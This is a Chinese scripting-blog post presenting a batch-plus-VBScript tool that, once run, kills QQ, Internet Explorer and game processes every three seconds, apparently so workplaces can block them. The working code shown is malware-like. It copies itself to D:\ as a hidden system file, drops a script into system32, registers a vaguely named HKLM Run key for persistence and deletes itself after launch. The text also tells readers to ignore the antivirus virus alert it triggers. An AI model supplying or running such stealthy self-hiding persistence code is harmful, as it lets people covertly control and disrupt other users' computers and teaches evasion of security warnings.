进程监控实现代码[vbs+bat]

所属分类: 脚本专栏 / vbs 阅读数: 910
收藏 0 赞 0 分享

运行后会在%windir%\system32\目录下生成jk.vbs,
并且自动添加注册表启动项,另外在D:\会生成一个隐藏属性的JK.VBS,
3秒间隔监控进程,如果进程中有QQ.exe、iexplore.exe、client.exe、game.exe进程则会自动结束进程。

主要功能就是不让一些进场运行,很多机关不让大家运行qq、大型游戏,打开网页等

@echo off 
attrib -s -h -a -r d:\jk.bat 1>nul 2>nul 
if exist d:\jk.bat del d:\jk.bat /q 
copy %0 d:\jk.bat /y >nul 
attrib +s +h +a +r d:\jk.bat 
if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs 
echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul 
echo Do>>%windir%\system32\jk.vbs 
echo WScript.Sleep 3000>>%windir%\system32\jk.vbs 
echo strComputer = "." >>%windir%\system32\jk.vbs 
echo Set objWMIService = GetObject("winmgmts:\\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs 
echo Set colItems = objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs 
echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs 
echo For Each objItem in colItems >>%windir%\system32\jk.vbs 
echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs 
echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs 
echo Then objitem.Terminate()>>%windir%\system32\jk.vbs 
echo Next>>%windir%\system32\jk.vbs 
echo loop>>%windir%\system32\jk.vbs 
start %windir%\system32\jk.vbs 
del %0 /q 

jk.vbs内容

Do 
WScript.Sleep 3000 
strComputer = "."  
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")  
Set colItems = objWMIService.ExecQuery( _ 
"SELECT * FROM Win32_Process",,48) 
For Each objItem in colItems  
If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _ 
objItem.Name="client.exe" Or objItem.Name="game.exe" _ 
Then objitem.Terminate() 
Next 
loop 

因为特殊性,会被360报毒,运行请放心执行。

更多精彩内容其他人还在看

vbscript禁用 启用fso的方法

启用:regsvr32 scrrun.dll 禁用:regsvr32 /u scrrun.dll
收藏 0 赞 0 分享

getSQLinfo.vbs 获得SQL数据/日志空间使用情况的脚本

这个脚本可以获取SQL数据/日志的空间使用情况方便及时了解sql使用空间情况
收藏 0 赞 0 分享

高手必看的vbs的至尊境界

vbs高手总结出来的,看来我们真忽略了他的真正强大的地方
收藏 0 赞 0 分享

vbs 获取radmin注册表中的信息

用这个脚本真的很方便,轻松的获取radmin注册表中的信息 ,想想以前我们都是用cmd下导出注册表信息
收藏 0 赞 0 分享

vbs解答一道初中数学题i,x,y

vbs解答 一道初中数学题 i+100=x^2 i+168=y^2 求 i,x,y
收藏 0 赞 0 分享

vbs之自动安装驱动程序

目前各类万能驱动程序包在网络上屡见发布,在使用这些程序包的同时,我们不仅会问:为什么这些程序包中的驱动程序可以在安装新硬件之后自动安装呢?
收藏 0 赞 0 分享

vbs Windows系统改变或修改网卡的MAC地址的脚本与软件

这个文件比程序本身还大,感觉不爽,于是本人的VBS版MAC修改代码便诞生了,在使用过程中如果出现不能上网的情况得返回一下网卡驱动(有些机器比较特别)
收藏 0 赞 0 分享

让IIS建立的站点默认是.net 2.0的,而不是.net 1.1的代码

让IIS建立的站点默认是.net 2.0的,而不是.net 1.1的,没有使用WMI,所以在操作前先得停止IIS相关服务
收藏 0 赞 0 分享

VBS利用SendKeys输入中文字符的方法

Author:Trajon.BWL今天在网上随便闲逛,逛到一个帖子,这位迷茫的朋友想知道该怎么使用SendKeys的vbs方法来输入中文字符
收藏 0 赞 0 分享

vbs加administrator用户的代码

使用ADSI的Winnt对象,Windows2000后面的系统都属于NT系列
收藏 0 赞 0 分享
查看更多